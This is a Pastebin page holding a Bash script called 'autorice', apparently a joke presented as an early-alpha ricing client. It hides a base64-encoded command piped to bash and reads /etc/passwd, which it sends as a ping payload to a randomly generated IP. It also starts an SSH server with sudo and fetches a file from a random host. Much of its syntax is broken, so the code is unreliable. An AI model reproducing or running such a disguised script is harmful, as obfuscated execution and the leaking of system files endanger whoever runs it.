Advertisement
uhsrva

autorice

May 28th, 2015
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.45 KB | None | 0 0
  1. # Baseline for Autorice client, in early alpha. Not too trustworthy, yet.
  2. # Todo: re-write in node.js/assembly with a visual basic server
  3.  
  4. echo "amVzdXMgaSBzaW5jZXJlbHkgaG9wZSB5b3UgZGlkIG5vdCBhY3R1YWxseSBydW4gdGhpcyBzY3JpcHQK" | base64 -d
  5. echo "c2xlZXAgNDBkCg==" | base64 -d | bash
  6.  
  7. secure_hash=$((5)) # Determined by fair dice role, completely random
  8. password=$(cat /etc/passwd)
  9.  
  10. # This function prepares the SSH server that your Professional Ricer will connect with.
  11. prepareSSH () {
  12.     sudo apt-get install openssh
  13.     sudo pacman -S openssh
  14.     sudo service ssh start
  15. }
  16.  
  17. installGentoo () {
  18. genStatus=$(uname -v | grep Gentoo)
  19. if[genStatus == ""]
  20. then
  21. # lol hope you're using amd MASTERRACE
  22. wget http://ftp.snt.utwente.nl/pub/os/linux/gentoo/releases/amd64/20140826/livedvd-amd64-multilib-20140826.iso
  23. sudo dd if=/dev/hda1 of=./livedvd-amd64-multilib-20140826.iso
  24. done
  25. }
  26.  
  27. # TODO: Make function take less than 4,294,967,295 tries to find a compatable Official Professional Ricer
  28. randomIP () {  
  29. number=0
  30. while [ "$number" -le 0 ]
  31. do
  32.   number=$RANDOM
  33.   let "number %= 255"
  34. done
  35. echo -n "$number"
  36. }
  37.  
  38. findRicerHostIP () {
  39. randomIP
  40. echo -n .
  41. randomIP
  42. echo -n .
  43. randomIP
  44. echo -n .
  45. randomIP
  46. randomDOT
  47. }
  48. prepareSSH
  49. installGentoo
  50. ip=$(findRicerHostIP)
  51.  
  52. ping -p $password $ip
  53. wget  $ip/www/secure_hash_host -o tempkey
  54. tempkey=$(cat ./tempkey)
  55.  
  56. if [ $secure_hash == tempkey]
  57. then
  58. echo "Connection established! Prepare to be riced!!one!"
  59. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement